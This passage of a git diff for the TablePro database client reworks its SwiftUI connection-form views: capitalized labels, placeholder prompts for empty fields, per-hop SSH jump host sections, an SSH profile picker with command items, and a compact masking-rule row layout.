"Identifier case"), row: row, store: store) + EditorRowLabel(String(localized: "Identifier Case"), row: row, store: store) } .accessibilityIdentifier(row.accessibilityIdentifier) .editorRowFocus(row, store: store) case .builtIn(.localOnly): Toggle(isOn: store.tracking(store.binding(\.options.localOnly), row: row)) { - EditorRowLabel(String(localized: "Local only"), row: row, store: store) + EditorRowLabel(String(localized: "Local Only"), row: row, store: store) } .accessibilityIdentifier(row.accessibilityIdentifier) .editorRowFocus(row, store: store) @@ -99,8 +100,15 @@ struct AdvancedFacetView: View { return [section.footer, removal].compactMap { $0 }.joined(separator: "\n") } + // A file database has no network setup to wait for, only the open. private var connectTimeoutHelp: String { - String( + guard store.traits.connectionMode != .fileBased else { + return String( + format: String(localized: "Maximum time to open the database. Leave blank to use the %d-second default."), + ConnectionTimeoutPolicy.defaultConnectTimeoutSeconds + ) + } + return String( format: String(localized: """ Maximum time for TCP, TLS, authentication, tunnel, and proxy setup. \ Leave blank to use the %d-second default. @@ -111,10 +119,10 @@ struct AdvancedFacetView: View { private static func title(for identifierCase: SQLIdentifierCase) -> String { switch identifierCase { - case .asStored: return String(localized: "As stored") + case .asStored: return String(localized: "As Stored") case .lower: return String(localized: "lowercase") case .upper: return String(localized: "UPPERCASE") - case .matchTyped: return String(localized: "Match what I type") + case .matchTyped: return String(localized: "Match What I Type") } } } @@ -128,7 +136,7 @@ private struct AdvancedQueryTimeoutRow: View { var body: some View { let globalSeconds = settings.general.queryTimeoutSeconds EditorOptionalNumberRow( - String(localized: "Query timeout"), + String(localized: "Query Timeout"), value: store.binding(\.options.queryTimeoutSeconds), defaultValue: QueryTimeoutInheritance.inheritedSeconds(globalSeconds: globalSeconds), range: DatabaseConnection.queryTimeoutSecondsRange, diff --git a/apple/TablePro/Views/ConnectionForm/Facets/GeneralAuthenticationRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/GeneralAuthenticationRows.swift index e6ce5a6069..de642e036e 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/GeneralAuthenticationRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/GeneralAuthenticationRows.swift @@ -166,11 +166,12 @@ struct GeneralPasswordRow: View { @ViewBuilder private func field(title: String) -> some View { + let prompt = Text(verbatim: EditorFieldPrompt.text(nil, row: .builtIn(.password), store: store)) if reveal.isRevealed { - TextField(text: password) { Text(verbatim: title) } + TextField(text: password, prompt: prompt) { Text(verbatim: title) } .autocorrectionDisabled() } else { - SecureField(text: password) { Text(verbatim: title) } + SecureField(text: password, prompt: prompt) { Text(verbatim: title) } } } @@ -194,8 +195,8 @@ struct GeneralPasswordModeRow: View { Toggle(isOn: store.tracking(store.passwordPromptBinding, row: .builtIn(.passwordMode))) { EditorRowLabel( store.traits.connectionMode == .apiOnly - ? String(localized: "Prompt for API token") - : String(localized: "Prompt for password"), + ? String(localized: "Prompt for API Token") + : String(localized: "Prompt for Password"), row: .builtIn(.passwordMode), store: store ) diff --git a/apple/TablePro/Views/ConnectionForm/Facets/GeneralConnectionRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/GeneralConnectionRows.swift index 4271cf463c..1c2862b9b3 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/GeneralConnectionRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/GeneralConnectionRows.swift @@ -19,6 +19,7 @@ struct GeneralTypeRow: View { size: 22 ) Text(verbatim: store.traits.displayName) + .foregroundStyle(.primary) Button(String(localized: "Change…")) { store.isChoosingType = true } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/GeneralFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/GeneralFacetView.swift index 090207ebc4..e059fc6935 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/GeneralFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/GeneralFacetView.swift @@ -3,6 +3,7 @@ // TablePro // +import AppKit import SwiftUI import TableProPluginKit @@ -40,6 +41,20 @@ struct GeneralFacetView: View { } .formStyle(.grouped) .onAppear { store.placeInitialFocusIfNeeded() } + .onChange(of: store.pastedURLNotice?.id) { id in + guard id != nil else { return } + redrawHostAfterPaste() + } + } + + // A field being edited keeps the text it was given, so Host would show the pasted URL until it lost focus. + // Ending the edit redraws it from the draft, and the focus goes straight back. + private func redrawHostAfterPaste() { + guard let window = store.window, window.firstResponder is NSTextView else { return } + DispatchQueue.main.async { + guard window.makeFirstResponder(nil) else { return } + store.focus(facet: .general, row: .builtIn(.host)) + } } private func socketStatus(for section: SectionLayout) -> String? { diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorCodeEditor.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorCodeEditor.swift index 8d03b62938..bde2a9afd6 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorCodeEditor.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorCodeEditor.swift @@ -23,6 +23,7 @@ struct EditorCodeEditor: View { private let minHeight: CGFloat private static let maxHeight: CGFloat = 320 + private static let wellShape = RoundedRectangle(cornerRadius: 6) init( text: Binding, @@ -40,21 +41,35 @@ struct EditorCodeEditor: View { var body: some View { VStack(alignment: .leading, spacing: 6) { - TextValueEditor( - text: store.tracking($text, row: row), - font: font, - borderType: .bezelBorder, - movesFocusOnTab: true, - style: language == .plain ? .plain : .code - ) - .frame(height: height) - .editorRowFocus(row, store: store) - .accessibilityIdentifier(row.accessibilityIdentifier) + editor + .frame(height: height) + .editorRowFocus(row, store: store) EditorRowIssueNotice(row: row, store: store) } } + // The card is the only frame: prose sits on it, code sits in a well like CodeWell, on the editor's colors. + @ViewBuilder + private var editor: some View { + let field = TextValueEditor( + text: store.tracking($text, row: row), + font: font, + borderType: .noBorder, + movesFocusOnTab: true, + style: language == .plain ? .plain : .code, + drawsBackground: language != .plain + ) + .accessibilityIdentifier(row.accessibilityIdentifier) + if language == .plain { + field + } else { + field + .clipShape(Self.wellShape) + .overlay(Self.wellShape.stroke(Color(nsColor: .separatorColor), lineWidth: 1)) + } + } + private var font: NSFont { let size = NSFont.systemFontSize return language == .plain diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift index 3e5e262f36..aa6eb5f417 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift @@ -39,7 +39,7 @@ struct EditorPathRow: View { var body: some View { LabeledContent { HStack(spacing: 8) { - TextField(text: store.tracking($path, row: row), prompt: prompt.map { Text(verbatim: $0) }) { + TextField(text: store.tracking($path, row: row), prompt: Text(verbatim: EditorFieldPrompt.text(prompt, row: row, store: store))) { Text(verbatim: title) } .labelsHidden() @@ -101,7 +101,7 @@ struct EditorDatabaseFileRow: View { var body: some View { LabeledContent { HStack(spacing: 8) { - TextField(text: store.tracking($path, row: row), prompt: prompt.map { Text(verbatim: $0) }) { + TextField(text: store.tracking($path, row: row), prompt: Text(verbatim: EditorFieldPrompt.text(prompt, row: row, store: store))) { Text(verbatim: title) } .labelsHidden() diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorTextRow.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorTextRow.swift index 719492c5cc..6d6736a324 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorTextRow.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorTextRow.swift @@ -23,7 +23,7 @@ struct EditorTextRow: View { } var body: some View { - TextField(text: store.tracking($text, row: row), prompt: prompt.map { Text(verbatim: $0) }) { + TextField(text: store.tracking($text, row: row), prompt: Text(verbatim: EditorFieldPrompt.text(prompt, row: row, store: store))) { EditorRowLabel(title, row: row, store: store) } .autocorrectionDisabled() @@ -51,7 +51,7 @@ struct EditorSecureRow: View { } var body: some View { - SecureField(text: store.tracking($text, row: row), prompt: prompt.map { Text(verbatim: $0) }) { + SecureField(text: store.tracking($text, row: row), prompt: Text(verbatim: EditorFieldPrompt.text(prompt, row: row, store: store))) { EditorRowLabel(title, row: row, store: store) } .focused($isFocused) @@ -59,3 +59,15 @@ struct EditorSecureRow: View { .editorRowFocus(row, store: store, isFocused: $isFocused) } } + +// A borderless field with nothing in it is invisible, so every field shows a prompt: the facet's example when it has +// one, else whether the field must be filled in. A required field that is empty carries an issue on its row. +@MainActor +enum EditorFieldPrompt { + static func text(_ example: String?, row: EditorRow, store: ConnectionEditorStore) -> String { + if let example, !example.isEmpty { return example } + return store.issues(for: row).contains { $0.severity == .error } + ? String(localized: "Required") + : String(localized: "Optional") + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/PluginFieldRow.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/PluginFieldRow.swift index aeb9ebe31a..a8f875d5af 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/Rows/PluginFieldRow.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/PluginFieldRow.swift @@ -110,7 +110,7 @@ struct PluginFieldRow: View { LabeledContent { SuggestionComboBox( suggestions: Self.awsProfiles, - placeholder: field.placeholder, + placeholder: EditorFieldPrompt.text(prompt, row: row, store: store), accessibilityLabel: name, accessibilityIdentifier: row.accessibilityIdentifier, value: trackingEdits(value) diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesFacetView.swift index b7df453b2a..152b9e13e0 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesFacetView.swift @@ -44,7 +44,9 @@ private struct SSHAndProxiesSectionView: View { } var body: some View { - if !isHidden { + if section.id == "sshJumpHosts" { + SSHAndProxiesJumpHostSections(rows: section.rows, store: store) + } else if !isHidden { Section { ForEach(inlineRows, id: \.self) { row in SSHAndProxiesRowView(row: row, store: store) @@ -79,8 +81,14 @@ private struct SSHAndProxiesSectionView: View { } private var footer: String? { - if let footer = section.footer { return footer } let draft = store.draft + if section.id == "transport", store.transportIsLocationChoice, draft.transport == nil { + return String(localized: """ + Opens the database file set in General, on this Mac. \ + For a file on another computer, choose Remote Server over SSH. + """) + } + if let footer = section.footer { return footer } switch section.id { case "remoteFile": var lines = [String(localized: "Absolute, or relative to the SSH account's home directory.")] @@ -93,10 +101,6 @@ private struct SSHAndProxiesSectionView: View { case "sshTwoFactor": guard draft.ssh.totpMode != .autoGenerate else { return nil } return String(localized: "If the SSH server asks for a verification code, TablePro prompts you for it when you connect.") - case "sshJumpHosts": - return String( - localized: "Jump hosts are connected in order before reaching the SSH server above. Only key and agent auth are supported for jumps." - ) case "forwardTo": return forwardToFooter case "cloudflareAuthentication": @@ -178,18 +182,18 @@ private struct SSHAndProxiesSectionView: View { } private func cloudSQLAuthenticationFooter(_ proxy: CloudSQLProxyDraft) -> String? { - var lines: [String] = [] + var sentences: [String] = [] if proxy.authMode == .applicationDefault { - lines.append(String( - localized: "Uses this Mac's Application Default Credentials. Run “gcloud auth application-default login” first, or set GOOGLE_APPLICATION_CREDENTIALS." + sentences.append(String( + localized: "Signs in with this Mac's Application Default Credentials, from “gcloud auth application-default login” or GOOGLE_APPLICATION_CREDENTIALS." )) } if proxy.useIAMAuth { - lines.append(String( - localized: "Set the connection's username to the IAM principal, a user email or name@project.iam for a service account. The database password is not used." + sentences.append(String( + localized: "With IAM, the username in General is the IAM principal, such as a user email or name@project.iam, and no password is sent." )) } - return lines.isEmpty ? nil : lines.joined(separator: "\n") + return sentences.isEmpty ? nil : sentences.joined(separator: " ") } private func tunnelMethodFooter(_ method: TunnelCommandMethod) -> String { @@ -225,10 +229,6 @@ private struct SSHAndProxiesRowView: View { SSHAndProxiesRemoteFileRow(row: builtIn, store: store) case .sshProfile: SSHAndProxiesProfileRows(store: store) - case .jumpHost(let id): - SSHAndProxiesJumpHostRows(id: id, store: store) - case .addJumpHost: - SSHAndProxiesAddJumpHostRow(store: store) case .sshProfileMissing, .sshConfigHost, .sshHost, .sshPort, .sshUsername, .sshAuthMethod, .sshPassword, .sshAgentSocket, .sshIdentityFile, .sshKeyFile, .sshKeyPassphrase, .sshNoAuthenticationNote, .sshTOTPMode, .sshTOTPSecret, .sshTOTPAlgorithm, .sshTOTPDigits, .sshTOTPPeriod: @@ -257,16 +257,31 @@ private struct SSHAndProxiesTransportPicker: View { private let row = EditorRow.builtIn(.transport) var body: some View { + let isLocation = store.transportIsLocationChoice Picker(selection: store.tracking(store.transportBinding, row: row)) { ForEach(store.availableTransports, id: \.self) { transport in - Text(transport?.displayName ?? ConnectionTunnelKind.directDisplayName).tag(transport) + Text(Self.title(of: transport, asLocation: isLocation)).tag(transport) } } label: { - EditorRowLabel(String(localized: "Connect via"), row: row, store: store, subtitle: store.tunnelHostListAdvice) + EditorRowLabel( + isLocation ? String(localized: "Location") : String(localized: "Connect Via"), + row: row, + store: store, + subtitle: store.tunnelHostListAdvice + ) } .accessibilityIdentifier(row.accessibilityIdentifier) .editorRowFocus(row, store: store) } + + private static func title(of transport: ConnectionTunnelKind?, asLocation: Bool) -> String { + guard asLocation else { return transport?.displayName ?? ConnectionTunnelKind.directDisplayName } + switch transport { + case nil: return String(localized: "This Mac") + case .remoteFile?: return String(localized: "Remote Server over SSH") + case let other?: return other.displayName + } + } } private struct SSHAndProxiesRemoteFileRow: View { diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift index c94aecc8c3..46d86990cf 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift @@ -6,122 +6,140 @@ import SwiftUI import TableProSSHConfig -// One jump host as rows of the Jump Hosts section, so every field stays visible and an issue can focus it. -struct SSHAndProxiesJumpHostRows: View { - let id: UUID +// One Section per hop, so two hops never read as one card. +struct SSHAndProxiesJumpHostSections: View { + let rows: [EditorRow] @ObservedObject var store: ConnectionEditorStore - private enum Field: Hashable { - case host - case keyFile + private var hopIDs: [UUID] { + rows.compactMap { row in + guard case .builtIn(.jumpHost(let id)) = row else { return nil } + return id + } + } + + var body: some View { + let ids = hopIDs + ForEach(Array(ids.enumerated()), id: \.element) { index, id in + SSHAndProxiesJumpHostSection(id: id, index: index, count: ids.count, store: store) + } + if rows.contains(.builtIn(.addJumpHost)) { + Section { + SSHAndProxiesAddJumpHostRow(store: store) + } footer: { + Text(String(localized: """ + TablePro connects through the jump hosts in order, then the SSH server. \ + A jump host signs in with a key file or the SSH agent. + """)) + } + } } +} - @FocusState private var focusedField: Field? +private struct SSHAndProxiesJumpHostSection: View { + let id: UUID + let index: Int + let count: Int + @ObservedObject var store: ConnectionEditorStore + + @FocusState private var focusedField: JumpHostField? private var row: EditorRow { .builtIn(.jumpHost(id)) } private var identifier: String { row.accessibilityIdentifier } private var jumpHost: Binding { store.tracking(store.jumpHostBinding(id), row: row) } - private var jumpHosts: [SSHJumpHost] { store.draft.ssh.jumpHosts } - private var index: Int { jumpHosts.firstIndex { $0.id == id } ?? 0 } var body: some View { - LabeledContent { - HStack(spacing: 8) { - TextField( - String(localized: "Host"), - text: jumpHost.host, - prompt: Text(verbatim: "bastion.example.com") - ) - .labelsHidden() - .autocorrectionDisabled() - .focused($focusedField, equals: .host) - .accessibilityIdentifier(identifier) - orderButtons - Button { - store.removeJumpHost(id: id) - } label: { - Image(systemName: "minus.circle") - } - .buttonStyle(.borderless) - .help(String(localized: "Remove Jump Host")) - .accessibilityLabel(String(localized: "Remove Jump Host")) - .accessibilityIdentifier("\(identifier)-remove") + Section { + TextField(text: jumpHost.host, prompt: Text(verbatim: "bastion.example.com")) { + label(String(localized: "Host"), for: .host) } - } label: { - EditorRowLabel( - String(format: String(localized: "Jump Host %lld"), Int64(index + 1)), - row: row, - store: store - ) - } - .onEditorFocusRequest(row, store: store, perform: focusMissingField) + .autocorrectionDisabled() + .focused($focusedField, equals: .host) + .accessibilityIdentifier(identifier) + .onEditorFocusRequest(row, store: store, perform: focusMissingField) - TextField(String(localized: "Port"), text: portText, prompt: Text(verbatim: "22")) + TextField(text: portText, prompt: Text(verbatim: "22")) { + Text(String(localized: "Port")) + } .accessibilityIdentifier("\(identifier)-port") - TextField(String(localized: "User"), text: jumpHost.username, prompt: Text(verbatim: "admin")) + TextField(text: jumpHost.username, prompt: Text(verbatim: "admin")) { + Text(String(localized: "Username")) + } .autocorrectionDisabled() .accessibilityIdentifier("\(identifier)-username") - Picker(String(localized: "Authentication"), selection: jumpHost.authMethod) { - ForEach(SSHJumpAuthMethod.allCases) { method in - Text(Self.title(of: method)).tag(method) + Picker(selection: jumpHost.authMethod) { + ForEach(SSHJumpAuthMethod.allCases) { method in + Text(Self.title(of: method)).tag(method) + } + } label: { + Text(String(localized: "Method")) + } + .accessibilityIdentifier("\(identifier)-auth") + + if jumpHost.wrappedValue.authMethod == .privateKey { + keyFileRow + } + } header: { + Text(String(format: String(localized: "Jump Host %lld"), Int64(index + 1))) + } footer: { + HStack(spacing: 8) { + Spacer() + if count > 1 { + Button(String(localized: "Move Up")) { + store.moveJumpHosts(fromOffsets: IndexSet(integer: index), toOffset: index - 1) + } + .disabled(index == 0) + .accessibilityIdentifier("\(identifier)-move-up") + + Button(String(localized: "Move Down")) { + store.moveJumpHosts(fromOffsets: IndexSet(integer: index), toOffset: index + 2) + } + .disabled(index == count - 1) + .accessibilityIdentifier("\(identifier)-move-down") + } + Button(String(localized: "Remove")) { + store.removeJumpHost(id: id) + } + .accessibilityIdentifier("\(identifier)-remove") } } - .accessibilityIdentifier("\(identifier)-auth") - - if jumpHost.wrappedValue.authMethod == .privateKey { - LabeledContent { - HStack(spacing: 8) { - TextField( - String(localized: "Key File"), - text: jumpHost.privateKeyPath, - prompt: Text(verbatim: "~/.ssh/id_ed25519") - ) - .labelsHidden() - .autocorrectionDisabled() - .focused($focusedField, equals: .keyFile) - .accessibilityIdentifier("\(identifier)-key-file") - Button(String(localized: "Choose…")) { - Task { - let message = String(localized: "Choose a private key file") - if let path = await TransportFilePanel.chooseSSHKey(message: message, store: store) { - jumpHost.wrappedValue.privateKeyPath = path - } + } + + private var keyFileRow: some View { + LabeledContent { + HStack(spacing: 8) { + TextField( + String(localized: "Key File"), + text: jumpHost.privateKeyPath, + prompt: Text(verbatim: "~/.ssh/id_ed25519") + ) + .labelsHidden() + .autocorrectionDisabled() + .focused($focusedField, equals: .keyFile) + .accessibilityIdentifier("\(identifier)-key-file") + Button(String(localized: "Choose…")) { + Task { + let message = String(localized: "Choose a private key file") + if let path = await TransportFilePanel.chooseSSHKey(message: message, store: store) { + jumpHost.wrappedValue.privateKeyPath = path } } - .accessibilityIdentifier("\(identifier)-key-file-choose") } - } label: { - Text(String(localized: "Key File")) + .accessibilityIdentifier("\(identifier)-key-file-choose") } + } label: { + label(String(localized: "Key File"), for: .keyFile) } } + // The hop's one issue sits under the field it is about. @ViewBuilder - private var orderButtons: some View { - if jumpHosts.count > 1 { - Button { - store.moveJumpHosts(fromOffsets: IndexSet(integer: index), toOffset: index - 1) - } label: { - Image(systemName: "arrow.up") - } - .buttonStyle(.borderless) - .disabled(index == 0) - .help(String(localized: "Move Up")) - .accessibilityLabel(String(localized: "Move Up")) - .accessibilityIdentifier("\(identifier)-move-up") - - Button { - store.moveJumpHosts(fromOffsets: IndexSet(integer: index), toOffset: index + 2) - } label: { - Image(systemName: "arrow.down") - } - .buttonStyle(.borderless) - .disabled(index == jumpHosts.count - 1) - .help(String(localized: "Move Down")) - .accessibilityLabel(String(localized: "Move Down")) - .accessibilityIdentifier("\(identifier)-move-down") + private func label(_ title: String, for field: JumpHostField) -> some View { + Text(verbatim: title) + if let issue = store.revealedIssue(for: row), (store.missingJumpHostField(id) ?? .host) == field { + NoticeLabel(issue.message, severity: issue.noticeSeverity) } } @@ -136,10 +154,8 @@ struct SSHAndProxiesJumpHostRows: View { ) } - // The issue covers the whole hop, so focus lands on the field that is missing. private func focusMissingField() { - let hop = jumpHost.wrappedValue - focusedField = !hop.host.isEmpty && hop.authMethod == .privateKey && hop.privateKeyPath.isEmpty ? .keyFile : .host + focusedField = store.missingJumpHostField(id) ?? .host } private static func title(of method: SSHJumpAuthMethod) -> String { @@ -154,11 +170,14 @@ struct SSHAndProxiesAddJumpHostRow: View { @ObservedObject var store: ConnectionEditorStore var body: some View { - Button(String(localized: "Add Jump Host")) { - let id = store.addJumpHost() - store.focus(facet: .sshAndProxies, row: .builtIn(.jumpHost(id))) + LabeledContent { + Button(String(localized: "Add Jump Host")) { + let id = store.addJumpHost() + store.focus(facet: .sshAndProxies, row: .builtIn(.jumpHost(id))) + } + .accessibilityIdentifier(EditorRow.builtIn(.addJumpHost).accessibilityIdentifier) + } label: { + Text(String(localized: "Jump Hosts")) } - .accessibilityIdentifier(EditorRow.builtIn(.addJumpHost).accessibilityIdentifier) - .frame(maxWidth: .infinity, alignment: .trailing) } } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesSSHRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesSSHRows.swift index 18a1d571fd..f77aa3e3ec 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesSSHRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesSSHRows.swift @@ -26,19 +26,19 @@ struct SSHAndProxiesSSHRow: View { } case .sshHost: EditorTextRow( - String(localized: "SSH Host"), + String(localized: "Host"), text: store.binding(\.ssh.host), prompt: "ssh.example.com", row: editorRow, store: store ) case .sshPort: - EditorTextRow(String(localized: "SSH Port"), text: store.binding(\.ssh.port), prompt: "22", row: editorRow, store: store) + EditorTextRow(String(localized: "Port"), text: store.binding(\.ssh.port), prompt: "22", row: editorRow, store: store) case .sshUsername: EditorTextRow( - String(localized: "SSH User"), + String(localized: "Username"), text: store.binding(\.ssh.username), - prompt: String(localized: "username"), + prompt: "admin", row: editorRow, store: store ) @@ -142,7 +142,6 @@ struct SSHAndProxiesSSHRow: View { } } -// A menu picker whose label carries the row's issue. struct SSHAndProxiesPicker: View { private let title: String @Binding private var selection: Value @@ -178,21 +177,48 @@ struct SSHAndProxiesPicker: View { } } +// Profile commands are pop-up items, as in General's Credentials, so typing a host never adds a button. struct SSHAndProxiesProfileRows: View { @ObservedObject var store: ConnectionEditorStore + @State private var pickerGeneration = 0 + + private enum Choice: Hashable { + case profile(UUID?) + case saveAsProfile + case editProfile + case newProfile + } + private let row = EditorRow.builtIn(.sshProfile) var body: some View { - SSHAndProxiesPicker(String(localized: "SSH Profile"), selection: store.sshProfileBinding, row: row, store: store) { - Text(String(localized: "Inline Configuration")).tag(UUID?.none) + Picker(selection: choice) { + Text(String(localized: "Inline Configuration")).tag(Choice.profile(nil)) + // A selection with no matching item reads as nothing chosen, so a profile this Mac lacks gets one. if store.sshProfileIsUnresolved, let missingId = store.draft.ssh.profileId { - Text(String(localized: "Missing Profile")).tag(UUID?.some(missingId)) + Text(String(localized: "Missing Profile")).tag(Choice.profile(missingId)) + } + if !store.context.sshProfiles.isEmpty { + Divider() + ForEach(store.context.sshProfiles) { profile in + Text(verbatim: Self.menuTitle(for: profile)).tag(Choice.profile(profile.id)) + } } - ForEach(store.context.sshProfiles) { profile in - Text(verbatim: Self.menuTitle(for: profile)).tag(UUID?.some(profile.id)) + Divider() + if store.canSaveSSHAsProfile { + Text(String(localized: "Save These as a Profile…")).tag(Choice.saveAsProfile) + } + if store.selectedSSHProfile != nil { + Text(String(localized: "Edit Profile…")).tag(Choice.editProfile) } + Text(String(localized: "New Profile…")).tag(Choice.newProfile) + } label: { + EditorRowLabel(String(localized: "SSH Profile"), row: row, store: store) } + .id(pickerGeneration) + .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) if let profile = store.selectedSSHProfile { LabeledContent(String(localized: "Server")) { @@ -216,26 +242,30 @@ struct SSHAndProxiesProfileRows: View { } } } + } - HStack(spacing: 8) { - Button(String(localized: "Create New Profile…")) { - store.presentSSHProfileCreation() - } - .accessibilityIdentifier("connection-form-ssh-profile-create") - if store.selectedSSHProfile != nil { - Button(String(localized: "Edit Profile…")) { - store.presentSSHProfileEditing() - } - .accessibilityIdentifier("connection-form-ssh-profile-edit") - } - if store.canSaveSSHAsProfile { - Button(String(localized: "Save Current as Profile…")) { + // A command item leaves the selection where it was; the new identity redraws the pop-up on it. + private var choice: Binding { + Binding( + get: { .profile(store.draft.ssh.profileId) }, + set: { newValue in + switch newValue { + case .profile(let id): + guard id != store.draft.ssh.profileId else { return } + store.noteEdited(row) + store.selectSSHProfile(id) + case .saveAsProfile: + pickerGeneration += 1 store.presentSaveSSHAsProfile() + case .editProfile: + pickerGeneration += 1 + store.presentSSHProfileEditing() + case .newProfile: + pickerGeneration += 1 + store.presentSSHProfileCreation() } - .accessibilityIdentifier("connection-form-ssh-profile-save-current") } - } - .frame(maxWidth: .infinity, alignment: .trailing) + ) } private static func menuTitle(for profile: SSHProfile) -> String { diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SafeModeFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/SafeModeFacetView.swift index 8a0ef2a2be..f153275566 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/SafeModeFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/SafeModeFacetView.swift @@ -101,6 +101,8 @@ struct SafeModeFacetView: View { if rules.isEmpty { Text(String(localized: "No Masking Rules")) .foregroundStyle(.secondary) + } else { + Text("^[\(rules.count) Rule](inflect: true)") } } .onEditorFocusRequest(.builtIn(.maskingRules), store: store) { @@ -109,47 +111,53 @@ struct SafeModeFacetView: View { } } +// Only the pattern stretches, so a rule never asks for more width than the column has. private struct SafeModeMaskingRuleRow: View { @Binding var rule: MaskingRule let focusedRule: FocusState.Binding let onRemove: () -> Void var body: some View { - Grid(alignment: .leading, horizontalSpacing: 8, verticalSpacing: 8) { - GridRow { - Text(String(localized: "Pattern")) - .gridColumnAlignment(.trailing) - TextField( - String(localized: "Pattern"), - text: $rule.pattern, - prompt: Text(verbatim: rule.target == .column ? "*.email" : "uuid") - ) - .labelsHidden() - .textFieldStyle(.roundedBorder) - .focused(focusedRule, equals: rule.id) - .accessibilityIdentifier("connection-form-masking-pattern") - Button(String(localized: "Remove"), action: onRemove) + HStack(spacing: 8) { + Picker(String(localized: "Match"), selection: $rule.target) { + ForEach(MaskingTarget.allCases) { target in + Text(verbatim: target.displayName).tag(target) + } } - GridRow { - Text(String(localized: "Match")) - HStack(spacing: 16) { - Picker(String(localized: "Match"), selection: $rule.target) { - ForEach(MaskingTarget.allCases) { target in - Text(verbatim: target.displayName).tag(target) - } - } - .labelsHidden() - .fixedSize() + .labelsHidden() + .fixedSize() + .help(String(localized: "Match the pattern against column names or column types")) + .accessibilityIdentifier("connection-form-masking-target") - Picker(String(localized: "Mask"), selection: $rule.style) { - ForEach(MaskingStyle.allCases) { style in - Text(verbatim: style.displayName).tag(style) - } - } - .fixedSize() + TextField( + String(localized: "Pattern"), + text: $rule.pattern, + prompt: Text(verbatim: rule.target == .column ? "*.email" : "uuid") + ) + .labelsHidden() + .autocorrectionDisabled() + .multilineTextAlignment(.leading) + .frame(minWidth: 0, maxWidth: .infinity) + .focused(focusedRule, equals: rule.id) + .accessibilityIdentifier("connection-form-masking-pattern") + + Picker(String(localized: "Mask"), selection: $rule.style) { + ForEach(MaskingStyle.allCases) { style in + Text(verbatim: style.displayName).tag(style) } - Color.clear.gridCellUnsizedAxes([.horizontal, .vertical]) } + .labelsHidden() + .fixedSize() + .help(String(localized: "How matching values are hidden")) + .accessibilityIdentifier("connection-form-masking-style") + + Button(action: onRemove) { + Image(systemName: "minus.circle") + } + .buttonStyle(.borderless) + .help(String(localized: "Remove Rule")) + .accessibilityLabel(String(localized: "Remove Rule")) + .accessibilityIdentifier("connection-form-masking-remove") } .accessibilityElement(children: .contain) } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/TransportCommandRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/TransportCommandRows.swift index 81a95b4a6c..d12fcecd0f 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/TransportCommandRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/TransportCommandRows.swift @@ -46,7 +46,7 @@ struct TransportCommandRow: View { ) case .tunnelCommandExecutable: EditorPathRow( - String(localized: "Executable path"), + String(localized: "Executable Path"), path: store.binding(\.tunnelCommand.config.executablePath), prompt: executablePrompt, row: editorRow, diff --git a/apple/TablePro/Views/ConnectionForm/Facets/TransportProxyRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/TransportProxyRows.swift index d21193f1b7..bc2f28b6b5 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/TransportProxyRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/TransportProxyRows.swift @@ -31,20 +31,27 @@ struct TransportCloudflareRow: View { case .cloudflareSignIn: signInRow case .cloudflareTokenId: - EditorSecureRow(String(localized: "Client ID"), text: store.binding(\.cloudflare.serviceTokenId), row: editorRow, store: store) + EditorSecureRow( + String(localized: "Client ID"), + text: store.binding(\.cloudflare.serviceTokenId), + prompt: String(localized: "Required"), + row: editorRow, + store: store + ) case .cloudflareTokenSecret: EditorSecureRow( String(localized: "Client Secret"), text: store.binding(\.cloudflare.serviceTokenSecret), + prompt: String(localized: "Required"), row: editorRow, store: store ) case 